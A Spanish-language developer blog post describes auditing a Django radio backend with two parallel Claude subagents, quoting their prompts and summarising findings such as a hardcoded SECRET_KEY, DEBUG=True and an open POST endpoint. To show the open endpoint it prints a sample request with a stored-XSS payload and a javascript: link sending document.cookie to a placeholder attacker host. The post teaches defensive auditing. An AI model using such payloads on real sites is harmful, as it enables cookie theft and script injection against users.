Backend Latam Radio #6
Publicado el 28/05/2026
Auditoría con subagentes: code review + security
Aquí es donde el "build in public" se vuelve realmente interesante. Antes de publicar el primer post de esta serie hice una pausa y audité el repo. No quería contar cómo construí algo y que el siguiente lector encontrara una vulnerabilidad obvia en la primera página.
La forma: dos subagentes en paralelo. Uno con la tarea de code review, otro con la de security. Concretamente, dos instancias de Claude lanzadas desde Claude Code con prompts especializados.
Por qué dos agentes, no uno
Podría haber pedido a un único agente que lo revisara todo. Los separo por tres razones:
- Foco. Un agente con un solo objetivo va más a fondo. El de seguridad piensa en términos de vector, explotación, OWASP. El de code review piensa en arquitectura, lecturabilidad, mantenibilidad.
- Cobertura. Hallazgos diferentes según el prompt. Si en lugar de pedir las dos cosas en uno solo, las separo, hay menos solapamiento ciego: dos pares de ojos especializados.
- Paralelismo. Lanzo los dos en una sola tool call. Mientras uno escribe, el otro también. El tiempo de espera es del más lento, no la suma.
Los prompts (extractos)
No los pongo enteros, son largos. Solo los chistes:
Code review
Realiza un code review exhaustivo del backend Django ubicado en
latam_radios_back. Centra el análisis enlatamradio/,api/,streams/,Dockerfile,docker-compose.yml,requirements.txt. Ignoralatam-radio-app/.Qué buscar: arquitectura y separación de capas, calidad del código Django/DRF, manejo de errores, tests, código muerto.
Formato: resumen ejecutivo + hallazgos por severidad (🔴 Crítico / 🟡 Importante / 🟢 Menor) con ruta
archivo:línea, descripción, por qué importa, sugerencia de fix (sin escribir el código).
Security
Realiza un análisis de seguridad exhaustivo. Tu foco es únicamente seguridad: ángulo de amenaza y explotación, no buenas prácticas generales.
Checklist: gestión de secretos, configuración Django (DEBUG, ALLOWED_HOSTS, SECURE_*), auth/autorización, validación de input, exposición de datos sensibles, dependencias (CVE), Docker, throttling.
Para cada hallazgo: ubicación, vector concreto (cómo lo explotaría un atacante), impacto, recomendación.
Lo importante de estos prompts es que no le digo al agente lo que va a encontrar. Le digo qué quiero que mire. La forma de cazar al pez es señalar el río, no la pieza.
Los hallazgos que me dolieron
Hubo más de cuarenta entre los dos informes. Resumo solo los críticos.
SECRET_KEY hardcodeada en settings.py
La clave Django firma sesiones, cookies CSRF, tokens de password reset. Tenerla en git significa que cualquiera con acceso al repo puede forjar sesiones admin sin necesidad de saber la contraseña. La mía estaba allí desde el primer commit.
DEBUG=True y ALLOWED_HOSTS=['*']
Cualquier excepción no controlada devuelve la página técnica de Django con stack trace, env vars, queries SQL. Y ALLOWED_HOSTS=['*'] permite Host header injection: combinado con password reset, un atacante puede hacer que el email salga con un enlace apuntando a su servidor.
db.sqlite3 (14 MB) commiteado al repo
Con el hash PBKDF2 del usuario admin y dos sesiones firmadas con la SECRET_KEY filtrada. Una bomba.
StationViewSet con POST abierto
Aquí me dio vergüenza. El viewset era ModelViewSet con http_method_names=['get','post']. La intención era permitir el POST del action by-uuid, pero el efecto colateral era que el POST a /stations/ (la URL raíz del recurso) también estaba habilitado, y permitía crear stations sin autenticación con cualquier campo.
Es decir: cualquiera podía registrar emisoras maliciosas en mi catálogo:
POST /api/v1/stations/ HTTP/1.1
Content-Type: application/json
{
"uuid": "00000000-0000-0000-0000-000000000001",
"name": "<script>alert('xss')</script>",
"country_code": "AR",
"homepage": "javascript:fetch('//evil/?'+document.cookie)",
"url": "http://attacker.example/stream",
"lastcheckok": true
}
La app móvil consumiría esa fila. Stored XSS, phishing, redirect de stream a infraestructura del atacante.
Modelos sin unique=True
Tags duplicados (Tag(name='rock', id=12), Tag(name='rock', id=44)). El viewset que listaba tags ya tenía un parche para colapsarlos con Min('id'). Estaba parcheando el síntoma, no la causa.
Un extracto del informe completo
Conservo entero el informe, no lo publico aquí porque tiene rutas absolutas a mi filesystem. Pero un resumen de su tabla de severidades:
| Severidad | Hallazgos | Ejemplos |
|---|---|---|
| 🔴 Crítico | 6 | SECRET_KEY hardcodeada, DEBUG=True, db.sqlite3 commiteado, POST abierto, JWT mal configurado, command sin atomic |
| 🟡 Importante | 17 | Modelos sin índices ni unique, serializer con __all__/depth=1, dependencia streams→api, throttling ausente, CORS hardcodeado |
| 🟢 Menor | 18 | Prints en código, docstrings copiados de otro proyecto, archivos vacíos boilerplate, latam_iso_codes_txt sin extensión |
41 hallazgos. Antes de publicar una sola línea de blog.
Lo que aprendí
- Auditar antes de publicar es barato. Dos agentes, treinta minutos. Si lo hubiera publicado tal cual, el primer lector con experiencia me habría sacado los colores en los comentarios.
- El review automático no sustituye al review humano. Pero filtra todo lo "obvio" y deja al humano para las decisiones de diseño que sí necesitan juicio.
- Separar code review y security review es útil. Hubo un único hallazgo que ambos encontraron (DEBUG=True). El resto fue complementario. Si los hubiera fundido en un único prompt, probablemente habría perdido cosas.
Lo siguiente: arreglarlo todo. En los próximos posts cuento cómo, agrupado por fases temáticas: secrets + cerrado de la API, integridad del dominio, robustez del sync, y operación.